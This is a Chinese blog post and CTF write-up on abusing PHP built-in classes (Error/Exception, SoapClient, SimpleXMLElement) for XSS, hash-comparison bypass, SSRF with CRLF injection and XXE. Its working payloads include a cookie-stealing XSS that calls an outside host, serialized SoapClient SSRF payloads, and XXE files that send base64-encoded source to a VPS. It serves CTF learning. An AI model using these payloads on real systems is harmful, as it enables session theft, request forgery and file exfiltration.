除了上篇文章浅谈 php原生类的利用 1(文件操作类)_php spl原生类_葫芦娃42的博客-CSDN博客 里提到的原生利用文件操作类读文件的功能,在CTF题目中,还可以利用php原生类来进行XSS,反序列化,SSRF,XXE。
常用内置类:
DirectoryIterator FilesystemIterator GlobIterator
SplFileObject SplFileinfoError Exception
SoapClient
SimpleXMLElement
目录
<1> Error/Exception内置类
(1) 利用 Error/Exception 进行xss
例题: [BJDCTF 2nd]xss之光
(2) 利用 Error/Exception 内置类进行hash绕过
例题:[2020 极客大挑战]Greatphp
<2> SoapClient内置类
(1) 利用SoapClient内置类进行SSRF
例题:[LCTF]bestphp‘s revenge
SoapClient触发反序列化导致ssrf
serialize_hander处理session方式不同导致session注入
crlf漏洞
<3> SimpleXMLElement 内置类
(1) 利用SimpleXMLElement 进行xxe
例题:SUCTF2018-Homework
<1> Error/Exception内置类
使用条件:
- 适用于php7版本
- 在开启报错的情况下
(1) 利用 Error/Exception 进行xss
Error能实现xss的原因:
是Error中有个__toString(),当对象被当作一个字符串使用时进行默认调用。而且我们能想办法控制它的内容,在配合<script></script>标签就能实现到xss。包括但不仅限于echo ,还有file_exist()判断也会进行触发
而因为Error可以传两个参数,有个参数值的不同则对象不同也就不相等,但对由于__toString()返回的值相同md5和sha1加密后也相同,最后得到的数据也是一样的,所以可以达到hash绕过
我们本地php_study 开启一个环境,test.php如下
<?php
$a = unserialize($_GET['1vxyz']);
echo $a;
?>
这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类,这就遇到了一个反序列化但没有POP链的情况,没学过Error类的话就不知道该干嘛了,这里我们可以找到PHP内置类来进行反序列化
poc.php:
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
得到的序列化数据传入1vxyz中,可以看见触发了xss
Exception继承了Error类,原理&用法同Error
例题: [BJDCTF 2nd]xss之光
.git文件泄露 ,得到源码:
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
看完上面介绍之后,很明显可以看出来存在xss漏洞,可以利用Error内置类构造<script></script>语句
一般xss的题 flag都是在cookie里,所以我们利用XSS把cookie带出来
poc.php如下:
<?php
$a = new Exception("<script>window.open('http://de3fdab3-f123-a4d4-b44k-aea15634d2.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($a));
?>
(2) 利用 Error/Exception 内置类进行hash绕过
Error&Exception原生类不止可以xss,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较
在Error和Exception这两个PHP原生类中有 __toString
方法,这个方法用于将异常或错误对象转换为字符串
尝试触发Error的__toString()
发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”)
我们再加上一个试一试
<?php
highlight_file(__FILE__);
$a = new Error("null",1);$b = new Error("null",1);
echo $a;
echo $b;
$a
和 $b
这两个new出来的Error对象本身是不同的,但是 当对象被当作字符串操作时,触发__toString
方法返回的结果是相同的。
<?php
highlight_file(__FILE__);
$a = new Error("null",1);$b = new Error("null",1);
if($a!==$b && md5($a)===md5($b) && sha1($a)===sha1($b))
echo "Success!";
因此,利用Error和Exception类的这一点可以绕过在PHP类中的哈希比较
注:由于报错信息包含当前的错误信息(”payload”)以及当前报错的行号(”2”) 。因此我们的$a 与 $b必须是在同一行,否则无法满足 md5($a)===md5($b). 同时,如果是 != 而不是!==强比较的话,还需要满足 new Error("null",1) 不同,另一个应该是 new Error("null",2). 这个是对象之间比较的一些个问题,大家自己测试一下即可理解。
例题:[2020 极客大挑战]Greatphp
进入题目环境,得到源码:
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
我们要满足
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
执行到 eval($this-syc); 可以用Error类进行hash绕过 。且当eval()函数传入一个类对象时,也会触发这个类里的 __toString
方法 因而我们可以传入 $this->syc=new Error("php代码",1); 去执行命令
由于题目用preg_match 过滤了括号,引号。无法调用函数,所以我们尝试直接 include "/flag"
将flag包含出来。用取反绕过即可
poc.php 如下:
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
#/flag 取反后urlencode 为%D0%99%93%9E%98
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
注:此文件路径及名称也会在Error的返回中,所以不能包含() 不然无法绕过
<2> SoapClient内置类
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端
该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call
触发很简单,就是当对象访问不存在的方法的时候就会触发。
该类的构造函数如下:
PHP
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间
(1) 利用SoapClient内置类进行SSRF
我们在自己服务器上nc 监听一个端口
<?php
$a = new SoapClient(null,array('location'=>'http://vpsip:port/', 'uri'=>'hello'));
$b = serialize($a);
$c = unserialize($b);
$c->not-exists(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
可以发现成功发送数据包,如果存在CRLF漏洞,我们还可以控制User-Agent 伪造http报文(加入自己设置的cookie等)
也可以伪造redis命令,用http协议去打redis了
对于发送POST数据包,Content-Type 的值我们要设置为 application/x-www-form-urlencoded,而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔\r\n\r\n
,其他间隔\r\n。 因此脚本可以修改为如下:
<?php
$target = 'http://ip:port/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=hjka6sd57fdsgy6fdsgg'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'1vxyz^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
#echo $b;
$c = unserialize($b);
$c->not_exists(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
成功发送post数据包。
例题:[LCTF]bestphp‘s revenge
题目用到知识点:
-
SoapClient触发反序列化导致ssrf
-
serialize_hander处理session方式不同导致session注入
-
crlf漏洞
进去题目得到源码:
//index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
//flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
接下来我们进行代码审计:
call_user_func
函数:
把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调.
通过flag.php 可知:需要构造ssrf去访问flag.php,然后获取flag。再利用变量覆盖把SESSION中的flag打印出来。
- 首先可以f 传入extract 从而造成变量覆盖。
- 这里要知道
call_user_func()
函数如果传入的参数是array
类型的话,会将数组的成员当做类名和方法,例如本题中可以先 f 传extract
将b覆盖成call_user_func()。$a为数组 其
第一个参数reset($_SESSION)
就是$_SESSION['name'],可控
。 SoapClient原生类可以触发SSRF - 因此 我们可以传入
name=SoapClient
,那么最后call_user_func($b, $a)
就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018'))
, 最终call_user_func(SoapClient->welcome_to_the_lctf2018)
,由于SoapClient
类中没有welcome_to_the_lctf2018
这个方法,就会调用魔术方法__call()
从而发送请求
那SoapClient
的内容怎么控制呢,poc:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",
'uri' => "hello"));
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;
// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll
这里还涉及到 CRLF 漏洞 CRLF是”回车+换行”(\r\n)的简称
这个poc就是利用crlf伪造请求去访问flag.php flag.php执行满足$_SERVER["REMOTE_ADDR"]==="127.0.0.1" 会将flag保存在cookie为PHPSESSID=
aaaaaaaa的$SESSION数组中,$SESSION会以序列化形式存在于服务器上临时生成的sess_sessid文件中。之后我们可以var_dump($SESSION); 更改sessionid为此sessionid来输出出来flag。
当存储是php_serialize处理,然后调用时php去处理。可以触发session反序列化。具体原理可以查看前面写的 session反序列化原理:php-session反序列化_葫芦娃42的博客-CSDN博客
我们可以利用回调函数来覆盖session默认的序列化引擎。 阿桦师傅的XCTF Final Web1 Writeup:https://www.jianshu.com/p/7d63eca80686中有类似的方法,利用回调函数调用session_start函数,修改session的位置,再配合LFI进行getshell。
不过这道题是利用回调函数调用session_start() 来覆盖session默认序列化引擎,ini_set不支持数组传参,而session_start是数组传参,正好对应$_POST
生成payload:|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A35%3A%221vxyz%0D%0ACookie%3A+PHPSESSID%3Daaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
首先传入 GET: f=session_start&name= 上面的payload POST: serialize_handler=php_serialize
然后传入 GET: f=extract&name=SoapClient POST: b=call_user_func
更改 PHPSESSID为 aaaaaaaa 正常访问 执行 var_dump($SESSION) 得到flag
<3> SimpleXMLElement 内置类
(1) 利用SimpleXMLElement 进行xxe
SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
我们看一下官方文档里的解释:
因此,当我们将第三个参数data_is_url
设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值我们设置为2
即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url
例题:SUCTF2018-Homework
题目分析:
先注册账号登陆作业平台。看到一个calc
计算器类。有两个按钮,一个用于调用calc
类实现两位数的四则运算。另一个用于提交代码
点击CALC看一下:
根据url参数栏以及再根据calc
类里面的内容,不难判断得知,这里通过module
传参去调用calc
类,然后剩下3个变量是calc($args1,$method,$args2)
函数中参数
suubmit.php 这里是一个上传文件的功能
SimpleXMLElement类
这里用到了PHP的内置类中的SimpleXMLElement
类。calc($args1,$method,$args2) 其中的类与参数都是我们url栏里可控的。
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct
的定义如下:
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
可以看到通过设置第三个参数 $dataIsURL
为 true
,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2
即可。第一个参数 $data
就是我们自己设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE
首先,我们自己在服务器vps 上构造如下evil.xml、send.xml这两个文件
evil.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % remote SYSTEM "https://VPS/send.xml">
%remote;
%all;
%send;
]>
send.xml
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'https://VPS/?%payload;'>">
然后在url栏中构造:
/show.php?module=SimpleXMLElement&args[]=http://vps/evil.xml&args[]=2&args[]=true
查看web日志:解码得到源码,可能是环境问题或者是我本地问题,没有打通。
除了这三个内置类,还有一些内置类:ZipArchive类来删除文件 ReflectionMethod类获取注释内容 后面有机会再总结
参考: https://www.codetd.com/article/13648456